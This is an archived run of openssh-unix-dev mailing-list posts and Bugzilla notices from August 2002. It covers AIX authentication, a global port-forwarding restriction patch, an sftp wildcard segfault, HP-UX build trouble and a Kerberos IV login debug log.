Date: Wed, 14 Aug 2002 09:01:33 -0500 (CDT)
Subject: AIX authenticate()
In-Reply-To: <20020814135810.A14736@ii.uib.no>
Message-ID: <Pine.BSO.4.44.0208140857140.2234-100000@etoh.eviladmin.org>

No definately looks like the wrong solution.  authenticate() reminds me a
lot of bsd_auth and pam.  To handle correctly, I suspec you need to handle
the conversation correctly.  Not just blindly repeat the same answer over
and over.

But someone at IBM is going to have to take gander at it in the short
term.

Would be nice for a simple example of how it breaks, and a proposed fixed.
Something that I can mimic with one AIX box and a few other misc UNIXes
(Linux, Solaris, NeXT .. maybe OpenBSD).

- Ben


On Wed, 14 Aug 2002, Jan-Frode Myklebust wrote:

> On Mon, Aug 12, 2002 at 01:27:07PM -0500, Ben Lindstrom wrote:
> >
> > >
> > > 	SYSTEM = "NIS and DCE"
> > >
> > > Suggested (untested) patch should look like:
> > >
> >
> > How does this affect OpenSSH?  What can I do to mimic this on my AIX box?
> >
>
> I'm not sure, but it sounds like in this example either:
>
> 	1. Authentication can fail on NIS, and then try DCE
>
> or
>
> 	2. Both NIS and DCE authentication is required before
> 	   authenticate() succeeds.
>
> I don't have any nodes with NIS and/or DCE to test on.
>
> Anyway, here's the man-page for AIX authenticate():
>
> 	http://usgibm.nersc.gov/usr/share/man/info/en_US/a_doc_lib/libs/basetrf1/authenticate.htm
>
> "
>   The calling program makes no assumptions about the
>   number of prompt messages the user must satisfy for authentication.
>
>   The Reenter parameter remains a nonzero value until the user satisfies
>   all prompt messages or answers incorrectly. Once the Reenter
>   parameter is zero, the return code signals whether authentication
>   passed or failed.
> "
>
>
>
>   -jf
>



From dot at dotat.at  Thu Aug 15 00:20:29 2002
From: dot at dotat.at (Tony Finch)
Date: Wed, 14 Aug 2002 15:20:29 +0100
Subject: [PATCH] global port forwarding restriction
In-Reply-To: <20020813205007.G6863@chiark.greenend.org.uk>
Message-ID: <E17ez0f-0008Hq-00@chiark.greenend.org.uk>

Tony Finch <dot at dotat.at> wrote:
>
>This patch makes the existing permitopen="host:port" authorized_keys file
>option available in sshd_config, enabling the administrator to make it
>a global restriction rather than a per-key restriction.

Sorry, I forgot the documentation.

Tony.
-- 
f.a.n.finch <dot at dotat.at> http://dotat.at/
FAIR ISLE FAEROES: VARIABLE 3 OR 4 BECOMING SOUTH OR SOUTHEAST 5 TO 7, PERHAPS
GALE 8 LATER. RAIN. MODERATE OR GOOD, OCCASIONALLY POOR.



--- sshd_config.5	26 Jul 2002 11:02:29 -0000	1.3
+++ sshd_config.5	14 Aug 2002 14:17:05 -0000
@@ -466,6 +466,31 @@
 If this option is set to
 .Dq no
 root is not allowed to login.
+.It Cm PermitTcpConnect
+Restricts TCP forwarding from the client so that
+only certain connection destinations are permitted.
+In the absence of any
+.Cm PermitTcpConnect
+options, any outgoing connection is permitted
+(although per-key restrictions may be imposed by
+.Cm permitopen=""
+options in
+.Pa authorized_keys
+files).
+If
+.Cm PermitTcpConnect
+options are present then
+.Nm sshd
+will only allow connections to the
+.Ar host Ns : Ns Ar port
+pairs that are specified.
+Multiple permitted destinations may be specified using multiple
+.Cm PermitTcpConnect
+options.
+IPv6 addresses may be specified using the syntax
+.Ar host Ns / Ns Ar port
+for the argument instead of
+.Ar host Ns : Ns Ar port .
 .It Cm PermitUserEnvironment
 Specifies whether
 .Pa ~/.ssh/environment


From mikec at raistlin.bitz.ca  Thu Aug 15 02:01:21 2002
From: mikec at raistlin.bitz.ca (Michael Coulter)
Date: Wed, 14 Aug 2002 09:01:21 -0700
Subject: why setgid ?
Message-ID: <20020814160121.GA2242@bitz.ca>

I noticed that it seems there are plans to make ssh-agent setgid.
What sort of benefits/drawbacks come from this sort of change ?


From Markus.Friedl at informatik.uni-erlangen.de  Thu Aug 15 04:49:51 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Wed, 14 Aug 2002 20:49:51 +0200
Subject: SFTP protocol specifications
In-Reply-To: <1029270741.4378.36.camel@cockatoo>
References: <1029270741.4378.36.camel@cockatoo>
Message-ID: <20020814184951.GD12122@faui02>

> - Would the correct command to run be "ssh -l username host -s sftp"?

i'd prefer
	ssh -s -l user host sftp

> - Where can I find documentation on the file transfer protocol used by
> SFTP? I looked at the source code but its a bit hard to understand.

http://www.openssh.com/txt/draft-ietf-secsh-filexfer-02.txt


From bugzilla-daemon at mindrot.org  Fri Aug 16 05:24:35 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 16 Aug 2002 05:24:35 +1000 (EST)
Subject: [Bug 385] New: loginsuccess on AIX fails
Message-ID: <20020815192435.8398F3D0E6@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=385

           Summary: loginsuccess on AIX fails
           Product: Portable OpenSSH
           Version: -current
          Platform: PPC
        OS/Version: AIX
            Status: NEW
          Severity: minor
          Priority: P2
         Component: sshd
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: genty at us.ibm.com


With user separation enabled, the loginsuccess() call in AIX in session.c is
failing, therefore the unsuccessful login count is not being reset to
0 upon successful login.  The errno says that it is because we don't have
the correct privileges.  When we added a loginsuccess() call to auth-passwd.c
in the auth_password routine (after the authenticate call) it fixed the
problem.  Does this sound like an acceptable solution?



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 16 07:24:10 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 16 Aug 2002 07:24:10 +1000 (EST)
Subject: [Bug 353] login failure on tru64
Message-ID: <20020815212410.1F1C93D156@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=353

mouring at eviladmin.org changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |DUPLICATE



------- Additional Comments From mouring at eviladmin.org  2002-08-16 07:24 -------


*** This bug has been marked as a duplicate of 296 ***



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 16 07:24:17 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 16 Aug 2002 07:24:17 +1000 (EST)
Subject: [Bug 296] Priv separation does not work on OSF/1
Message-ID: <20020815212417.9965D3D156@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=296

mouring at eviladmin.org changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |weberc at grc.nia.nih.gov



------- Additional Comments From mouring at eviladmin.org  2002-08-16 07:24 -------
*** Bug 353 has been marked as a duplicate of this bug. ***



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 16 07:27:14 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 16 Aug 2002 07:27:14 +1000 (EST)
Subject: [Bug 296] Priv separation does not work on OSF/1
Message-ID: <20020815212714.131F73D179@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=296

mouring at eviladmin.org changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
           Severity|normal                      |critical



------- Additional Comments From mouring at eviladmin.org  2002-08-16 07:27 -------
Current test patch is at: http://www.eviladmin.org/~mouring/sia-privsep

If there are still problems please ensure they get posted to the OpenSSH-unix-
dev@ list.  I'm looking at a commit time of a week and half from today.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 16 07:32:06 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 16 Aug 2002 07:32:06 +1000 (EST)
Subject: [Bug 309] openssh-3.3 and openssh-3.4 won't install on Sparc Station 5, Solaris 8
Message-ID: <20020815213206.1A5383D18C@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=309

mouring at eviladmin.org changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |INVALID



------- Additional Comments From mouring at eviladmin.org  2002-08-16 07:32 -------
This is a GNU Binutils issue.  Where their strip command is broken.  Please 
address it with them.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 16 10:09:23 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 16 Aug 2002 10:09:23 +1000 (EST)
Subject: [Bug 309] openssh-3.3 and openssh-3.4 won't install on Sparc Station 5, Solaris 8
Message-ID: <20020816000923.031C73D169@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=309





------- Additional Comments From dtucker at zip.com.au  2002-08-16 10:09 -------
The strip bug has been fixed in binutils-2.13.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 16 10:16:12 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 16 Aug 2002 10:16:12 +1000 (EST)
Subject: [Bug 386] New: Bugzilla emails contain invalid URLs
Message-ID: <20020816001612.9795F3D17D@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=386

           Summary: Bugzilla emails contain invalid URLs
           Product: Portable OpenSSH
           Version: -current
          Platform: All
        OS/Version: All
            Status: NEW
          Severity: minor
          Priority: P2
         Component: Miscellaneous
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: dtucker at zip.com.au


Email notifications from Bugzilla contain URLs like:
"http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=[bugno]"
instead of
"http://bugzilla.mindrot.org/show_bug.cgi?id=[bugno]"



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 16 10:21:50 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 16 Aug 2002 10:21:50 +1000 (EST)
Subject: [Bug 202] scp/ssh hangs
Message-ID: <20020816002150.E8EE03D184@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=202





------- Additional Comments From dtucker at zip.com.au  2002-08-16 10:21 -------
The "1.99" means the server can do protocol 1 and 2.

Do you have a firewall, packet filter or NAT device on the path between client 
and server?



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 16 10:31:50 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 16 Aug 2002 10:31:50 +1000 (EST)
Subject: [Bug 333] X11 forwarding not working in OpenSSH 3.4p1
Message-ID: <20020816003150.0CE9F3D179@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=333





------- Additional Comments From dtucker at zip.com.au  2002-08-16 10:31 -------
What does "echo $DISPLAY give? Is the display listed in "xauth list"? What 
happens when you try to run an xterm?

You can try deleting your .Xauthority file (it'll be re-created automatically) 
and/or adding "X11UseLocalhost no" to sshd_config.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From ddm at pizzashack.org  Fri Aug 16 15:13:48 2002
From: ddm at pizzashack.org (Derek D. Martin)
Date: Fri, 16 Aug 2002 01:13:48 -0400
Subject: restricted scp and/or sftp
Message-ID: <20020816011348.C5877@pizzashack.org>

An embedded and charset-unspecified text was scrubbed...
Name: msg.pgp
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020816/fc49c170/attachment.ksh 

From ddm at pizzashack.org  Sat Aug 17 01:40:04 2002
From: ddm at pizzashack.org (Derek D. Martin)
Date: Fri, 16 Aug 2002 11:40:04 -0400
Subject: restricted scp and/or sftp
In-Reply-To: <20020816011348.C5877@pizzashack.org>
References: <20020816011348.C5877@pizzashack.org>
Message-ID: <20020816114004.L5877@pizzashack.org>

An embedded and charset-unspecified text was scrubbed...
Name: msg.pgp
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020816/6ed26836/attachment.ksh 

From jan.iven at cern.ch  Sat Aug 17 01:48:23 2002
From: jan.iven at cern.ch (Jan IVEN)
Date: 16 Aug 2002 17:48:23 +0200
Subject: restricted scp and/or sftp
In-Reply-To: <20020816011348.C5877@pizzashack.org>
References: <20020816011348.C5877@pizzashack.org>
Message-ID: <unmlm767qk8.fsf@asis-w2.cern.ch>

An embedded and charset-unspecified text was scrubbed...
Name: patch-openssh-rssh
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020816/27c21a89/attachment.ksh 

From vervoom at hotmail.com  Sun Aug 18 05:16:55 2002
From: vervoom at hotmail.com (J S)
Date: Sat, 17 Aug 2002 19:16:55 +0000
Subject: how to determine the login shell 
Message-ID: <LAW2-F23th7tBOYLSPG00014908@hotmail.com>

Hi,

Is it possible to determine the login shell (eg, whether it's /usr/bin/ksh 
or /usr/ace/prog/sdshell) from the sshconnect2.c?

Is there a function call I can do to get the authctxt->pw->shell for example 
or would I need to do something like a packet_get_string?

TIA.





_________________________________________________________________
MSN Photos is the easiest way to share and print your photos: 
http://photos.msn.com/support/worldwide.aspx



From vervoom at hotmail.com  Sun Aug 18 05:08:29 2002
From: vervoom at hotmail.com (js)
Date: Sat, 17 Aug 2002 20:08:29 +0100
Subject: how to determine the login shell?
Message-ID: <LAW2-OE45gcOrBLSAQV000057cd@hotmail.com>

Hi,

Is it possible to determine the login shell (eg, /usr/bin/ksh or /usr/ace/prog/sdshell) from the ssh client? 

Is there a function call I can do or would I need to do this with a packet_get_string?

TIA.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020817/67d60b01/attachment.html 

From dan at doxpara.com  Sun Aug 18 20:44:14 2002
From: dan at doxpara.com (Dan Kaminsky)
Date: Sun, 18 Aug 2002 03:44:14 -0700
Subject: how to determine the login shell?
References: <LAW2-OE45gcOrBLSAQV000057cd@hotmail.com>
Message-ID: <3D5F7A7E.6030807@doxpara.com>

js wrote:

> Hi,
>  
> Is it possible to determine the login shell (eg, /usr/bin/ksh or 
> /usr/ace/prog/sdshell) from the ssh client?
>  
> Is there a function call I can do or would I need to do this with a 
> packet_get_string?
>  
> TIA.

Login shell is placed in the environment variable SHELL, so 
getenv("SHELL") should return a pointer to whatever the user's shell is.

--Dan





From vervoom at hotmail.com  Sun Aug 18 21:16:00 2002
From: vervoom at hotmail.com (J S)
Date: Sun, 18 Aug 2002 11:16:00 +0000
Subject: how to determine the login shell?
Message-ID: <LAW2-F624MmXKCnzNwR00013b0c@hotmail.com>

>js wrote:
>
>>Hi,
>>  Is it possible to determine the login shell (eg, /usr/bin/ksh or 
>>/usr/ace/prog/sdshell) from the ssh client?
>>  Is there a function call I can do or would I need to do this with a 
>>packet_get_string?
>>  TIA.
>
>Login shell is placed in the environment variable SHELL, so getenv("SHELL") 
>should return a pointer to whatever the user's shell is.
>
>--Dan

Thanks Dan, I tried that but the problem is it if I issue that command from 
the client, it doesn't tell me the login shell of the remote user, it tells 
me the login shell of the client user.

_________________________________________________________________
Join the world?s largest e-mail service with MSN Hotmail. 
http://www.hotmail.com



From dan at doxpara.com  Sun Aug 18 21:40:55 2002
From: dan at doxpara.com (Dan Kaminsky)
Date: Sun, 18 Aug 2002 04:40:55 -0700
Subject: how to determine the login shell?
References: <LAW2-F624MmXKCnzNwR00013b0c@hotmail.com>
Message-ID: <3D5F87C7.4050704@doxpara.com>

> Thanks Dan, I tried that but the problem is it if I issue that command 
> from the client, it doesn't tell me the login shell of the remote 
> user, it tells me the login shell of the client user.

Ahhh, OK. I see your problem:  SSH doesn't (and better not) 
back-propogate remote environment variables into the client.

It does let you execute commands on the remote host, though.  What about 
executing "sh -c echo $SHELL"?  sh is universal(as is its variable 
representation), and the execution of it thus does not overwrite the 
$SHELL from the spawning shell.

--Dan




From elf at ee.ryerson.ca  Mon Aug 19 01:27:49 2002
From: elf at ee.ryerson.ca (luis fernandes)
Date: Sun, 18 Aug 2002 11:27:49 -0400
Subject: SEGV on mget with wildcards with no match
Message-ID: <15711.48373.160565.29099@gargle.gargle.HOWL>

This is on FreeBSD 4.6-STABLE, doing an mget with wildcard char on a
non-existent file(s) produces a SEGV.

Reproduce the bug as follows (Note: "zqw*" is a pattern that does not
match):

% sftp user at host
  user at host's password:
sftp> mget zqw*

Program received signal SIGSEGV, Segmentation fault.
0x804c5db in process_get (conn=0x80520e0, src=0x80540b0 "zwq*",
dst=0x0,
    pwd=0x8052100 "/home/faculty/elf", pflag=0)
    at
    /usr/src/secure/usr.bin/sftp/../../../crypto/openssh/sftp-int.c:371
(gdb) p g.gl_pathv[0]
Error accessing memory address 0x0: Bad address.


From kevin at atomicgears.com  Mon Aug 19 07:41:11 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Sun, 18 Aug 2002 14:41:11 -0700
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <20020717222609.GD22496@lizzy.catnook.com>
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com>
Message-ID: <20020818214111.GB25709@scott.crlsca.adelphia.net>

On Wed, Jul 17, 2002 at 03:25:47PM -0701, Jos Backus wrote:
> I'm happy to hear people find this useful (it's indispensable here at work)
> and would be interested in hearing about any problems. The updated patch can
> be downloaded from
> 
>     http://www.catnook.com/patches/openssh-3.4p1-auth-retry.patch

it is not a 100% fix to this issue, but i think a higher listen
backlog will address this in most cases where the kernel allows a
large backlog maximum.  5 is just too low.  128 or 256 perhaps.


From jos at catnook.com  Mon Aug 19 11:42:39 2002
From: jos at catnook.com (Jos Backus)
Date: Sun, 18 Aug 2002 18:41:39 -0701
Subject: 3.4p1 ssh-agent auth-retry patch available:   was: Re: Updated ssh-agent authentication retry patch available
In-Reply-To: <20020818214111.GB25709@scott.crlsca.adelphia.net>
References: <20020531232300.GB97603@lizzy.catnook.com> <3D35BFA5.9060608@cisco.com> <20020717222609.GD22496@lizzy.catnook.com> <20020818214111.GB25709@scott.crlsca.adelphia.net>
Message-ID: <20020819014201.GC17212@lizzy.catnook.com>

On Sun, Aug 18, 2002 at 02:41:11PM -0700, Kevin Steves wrote:
> On Wed, Jul 17, 2002 at 03:25:47PM -0701, Jos Backus wrote:
> > I'm happy to hear people find this useful (it's indispensable here at work)
> > and would be interested in hearing about any problems. The updated patch can
> > be downloaded from
> > 
> >     http://www.catnook.com/patches/openssh-3.4p1-auth-retry.patch
> 
> it is not a 100% fix to this issue, but i think a higher listen
> backlog will address this in most cases where the kernel allows a
> large backlog maximum.  5 is just too low.  128 or 256 perhaps.

That's what I thought as well, and so we racked it up to 256 (I think even
higher - not sure what the maximum listen queue depth is on Solaris). But it
did not work well enough (sorry, don't remember the details), hence this patch
which is part of our standard distribution at work. We have a perl script
which is used to routinely update hundreds of machines with a single command,
and it works very well with this patch.

-- 
Jos Backus                       _/  _/_/_/      Sunnyvale, CA
                                _/  _/   _/
                               _/  _/_/_/
                          _/  _/  _/    _/
jos at catnook.com        _/_/   _/_/_/          require 'std/disclaimer'


From rabani at lucent.com  Mon Aug 19 22:07:17 2002
From: rabani at lucent.com (Ghulam Rabani)
Date: Mon, 19 Aug 2002 15:07:17 +0300
Subject: Building 3.0p1 on HPUX 10.2, gcc, zlib 1.1.4
Message-ID: <61FFF58533B8D211921C0001FA7E1103042A9CAB@sr0001exch001u.sa.lucent.com>

Hi everybody,

I've never posted here before but I seem to be having a similar problem to
what Tim Rice had in July, namely when running the configure script I get
the following:

configure: error: *** zlib missing - please install first or check
config.log ***

However, I have definitely installed zlib (see below):

dngwks1:/tmp/openssh-3.0p1 # swlist
# Initializing...
# Contacting target "dngwks1"...
#
# Target:  dngwks1:/
#

#
# Bundle(s):
#

  5181-3517                     E.10.05        Hewlett-Packard JetDirect
Printer Installer for Unix 
  B3782EA                       B.10.20        HP-UX Media Kit (Reference
Only. See Description) 
  B5403BA                       B.10.20        MirrorDisk/UX  
  B5509BA_APZ                   B.10.20.05     100BT/9000 PCI 
  B5724AA_APZ                   A.2.3.205      HP-UX Installation Utilities
(Ignite-UX - S700 - 10.20) 
  B6193EA                       ACE.199912.01  Workstation ACE for HP-UX
10.20 (December 1999) 
  B6378DA                       ACE.199912.01  Networking ACE for HP-UX
10.20 (December 1999) 
  HPUXEngCR700                  B.10.20        English HP-UX CDE Runtime
Environment 
  Ignite-UX-10-20               A.2.3.205      HP-UX Installation Utilities
for Installing 10.20 Systems 
  J2559C                        D.06.21        Hewlett-Packard JetAdmin for
Unix Utility 
  OnlineDiag                    B.10.20.17.07  HPUX 10.0 Support Tools
Bundle 
  XSW700GR1020                  B.10.20.50.3   General Release Patches for
HP-UX 10.20 Workstations (Sept. 2000) 
#
# Product(s) not contained in a Bundle:
#

  ExtSWDocs                     B.10.20.48     Bundle README File 
  PHCO_18131                    B.10.00.00.AA  Year 2000 HP-UX Operating
System Patch Tool 
  PHCO_19485                    B.10.20.07     HP Array Manager/60
installation patch 
  PHCO_20220                    B.10.00.00.AA  Year 2000 HP-UX Application
Patch Tool 
  PatchText                     B.10.20.48     Patch .text Files 
  bash                          2.05           bash           
  perl                          5.6.1          perl           
  traceroute                    991603         traceroute     
  zlib                          1.1.4          zlib           

dngwks1:/tmp/openssh-3.0p1 # swlist zlib

# Initializing...
# Contacting target "dngwks1"...
#
# Target:  dngwks1:/
#

# zlib                  1.1.4          zlib           
  zlib.zlib-RUN  

I haven't installed openssl as I can't get access to www.openssl.org. Is
that the reason?

I am at my wits end.

Please help the newby...

Regards,
Ghulam Rabani.

PS - Although it say at the openssh mailing group is open to non subscribers
it may help to put my email in the CC list...I know I ask for a lot.


From dtucker at zip.com.au  Mon Aug 19 22:56:44 2002
From: dtucker at zip.com.au (Darren Tucker)
Date: Mon, 19 Aug 2002 22:56:44 +1000
Subject: Building 3.0p1 on HPUX 10.2, gcc, zlib 1.1.4
References: <61FFF58533B8D211921C0001FA7E1103042A9CAB@sr0001exch001u.sa.lucent.com>
Message-ID: <3D60EB0C.4FD0E4D9@zip.com.au>

Ghulam Rabani wrote: 
> I've never posted here before but I seem to be having a similar problem to
> what Tim Rice had in July, namely when running the configure script I get
> the following:
> 
> configure: error: *** zlib missing - please install first or check
> config.log ***
> 
> However, I have definitely installed zlib (see below):

Firstly, 3.0 has at least one known remotely exploitable security
vulnerability. You should probably get 3.4p1. (eg
ftp://ftp.ca.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz)

My guess is that zlib is installed someplace where configure doesn't
automatically look. Try ./configure --with-zlib=/opt/zlib (or wherever
your package put the libz.a file).

> I haven't installed openssl as I can't get access to www.openssl.org. Is
> that the reason?

Dunno, but you won't be able to build without openssl. You can get it
from a mirror (eg
ftp://ftp.ca.openbsd.org/pub/Mirror/Crypto/OpenSSL/openssl-0.9.6g.tar.gz).

Keven Steves has put up a how-to for building OpenSSH on HP-UX. It's at
http://www.atomicgears.com/papers/osshhpux.html

-- 
Darren Tucker (dtucker at zip.com.au)
GPG Fingerprint D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.


From mmokrejs at natur.cuni.cz  Mon Aug 19 23:05:55 2002
From: mmokrejs at natur.cuni.cz (=?iso-8859-2?Q?Martin_MOKREJ=A9?=)
Date: Mon, 19 Aug 2002 15:05:55 +0200 (CEST)
Subject: kerberosIV authentication is broken in openssh-3.4p1
Message-ID: <Pine.OSF.4.44.0208191446001.387983-100000@tao.natur.cuni.cz>

Hi,
  I think kerberosIV authentication is broken in openssh-3.4p1 in ssh2
version protocol:

nmrindy$ klist
Ticket file:    /tmp/tkt111_429097
Principal:      mmokrejs at NATUR.CUNI.CZ

  Issued           Expires          Principal
Aug 19 12:40:49  Aug 19 22:40:49  krbtgt.NATUR.CUNI.CZ at NATUR.CUNI.CZ
Aug 19 12:40:49  Aug 19 12:45:49  rcmd.nmrindy at NATUR.CUNI.CZ
Aug 19 12:40:49  Aug 19 22:40:49  afs at NATUR.CUNI.CZ
nmrindy$ ./ssh -v nmrindy -1
OpenSSH_3.4p1, SSH protocols 1.5/2.0, OpenSSL 0x0090604f
debug1: Reading configuration data /usr/local/etc/ssh_config
debug1: Rhosts Authentication disabled, originating port will not be trusted.
debug1: ssh_connect: needpriv 0
debug1: Connecting to nmrindy [195.113.59.111] port 22.
debug1: Connection established.
debug1: identity file /software/usr/home/mmokrejs/.ssh/identity type -1
debug1: Remote protocol version 1.99, remote software version OpenSSH_3.1p1
debug1: match: OpenSSH_3.1p1 pat OpenSSH_2.*,OpenSSH_3.0*,OpenSSH_3.1*
debug1: Local version string SSH-1.5-OpenSSH_3.4p1
debug1: Waiting for server public key.
debug1: Received server public key (768 bits) and host key (1024 bits).
WARNING: RSA key found for host nmrindy
in /software/usr/home/mmokrejs/.ssh/known_hosts:4
RSA key fingerprint fe:fe:24:6b:3e:2a:18:8e:04:09:7b:de:20:01:4c:d0.
The authenticity of host 'nmrindy (195.113.59.111)' can't be established,
but keys of different type are already known for this host.
RSA1 key fingerprint is b7:04:c0:bc:24:53:75:d1:75:23:61:d4:6b:f8:61:df.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'nmrindy,195.113.59.111' (RSA1) to the list of known hosts.
debug1: Encryption type: 3des
debug1: Sent encrypted session key.
debug1: cipher_init: set keylen (16 -> 32)
debug1: cipher_init: set keylen (16 -> 32)
debug1: Installing crc compensation attack detector.
debug1: Received encrypted confirmation.
debug1: Trying Kerberos v4 authentication.
debug1: Kerberos v4 authentication accepted.
debug1: Kerberos v4 challenge successful.
debug1: Requesting pty.
debug1: fd 3 setting TCP_NODELAY
debug1: Requesting shell.
debug1: Entering interactive session.

nmrindy$ logout
Connection to nmrindy closed.
debug1: Transferred: stdin 1, stdout 555, stderr 31 bytes in 28.6 seconds
debug1: Bytes per second: stdin 0.0, stdout 19.4, stderr 1.1
debug1: Exit status 0
nmrindy$ ./ssh -v nmrindy -2
OpenSSH_3.4p1, SSH protocols 1.5/2.0, OpenSSL 0x0090604f
debug1: Reading configuration data /usr/local/etc/ssh_config
debug1: Rhosts Authentication disabled, originating port will not be trusted.
debug1: ssh_connect: needpriv 0
debug1: Connecting to nmrindy [195.113.59.111] port 22.
debug1: Connection established.
debug1: identity file /software/usr/home/mmokrejs/.ssh/id_rsa type -1
debug1: identity file /software/usr/home/mmokrejs/.ssh/id_dsa type -1
debug1: Remote protocol version 1.99, remote software version OpenSSH_3.1p1
debug1: match: OpenSSH_3.1p1 pat OpenSSH_2.*,OpenSSH_3.0*,OpenSSH_3.1*
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.4p1
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: dh_gen_key: priv key bits set: 131/256
debug1: bits set: 1562/3191
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug1: Host 'nmrindy' is known and matches the RSA host key.
debug1: Found key in /software/usr/home/mmokrejs/.ssh/known_hosts:4
debug1: bits set: 1621/3191
debug1: ssh_rsa_verify: signature correct
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: done: ssh_kex2.
debug1: send SSH2_MSG_SERVICE_REQUEST
debug1: service_accept: ssh-userauth
debug1: got SSH2_MSG_SERVICE_ACCEPT
debug1: authentications that can continue: publickey,password,keyboard-interactive
debug1: next auth method to try is publickey
debug1: try privkey: /software/usr/home/mmokrejs/.ssh/id_rsa
debug1: try privkey: /software/usr/home/mmokrejs/.ssh/id_dsa
debug1: next auth method to try is keyboard-interactive
debug1: authentications that can continue: publickey,password,keyboard-interactive
debug1: next auth method to try is password
mmokrejs at nmrindy's password:


It happens to me when I test the client ./ssh against some other machines
running older openssh. I suspect a bug at least in a client. Tested on
Irix 6.5.15, cc, KTH kerberosIV 1.1.1.

I have one more note to the configure script:

checking for krb.h... yes
checking for main in -lkrb... yes
checking for des_cbc_encrypt in -ldes... no
checking for des_cbc_encrypt in -ldes425... no
configure: WARNING: Cannot find libdes nor libdes425, build may fail
checking for dn_expand in -lresolv... no
checking for xauth... /usr/bin/X11/xauth


The build went fine, as the des_cbc_encrypt is I guess in libcrypt.a from OpenSSL and
was in older versions of libkrb.a (KTH kerberosIV). Maybe this is source of my problems.
Thanks!
-- 
Martin Mokrejs <mmokrejs at natur.cuni.cz>, <m.mokrejs at gsf.de>
PGP5.0i key is at http://www.natur.cuni.cz/~mmokrejs
MIPS / Institute for Bioinformatics <http://mips.gsf.de>
GSF - National Research Center for Environment and Health
Ingolstaedter Landstrasse 1, D-85764 Neuherberg, Germany
tel.: +49-89-3187 3683 , fax:?+49-89-3187 3585




From bugzilla-daemon at mindrot.org  Tue Aug 20 03:05:38 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
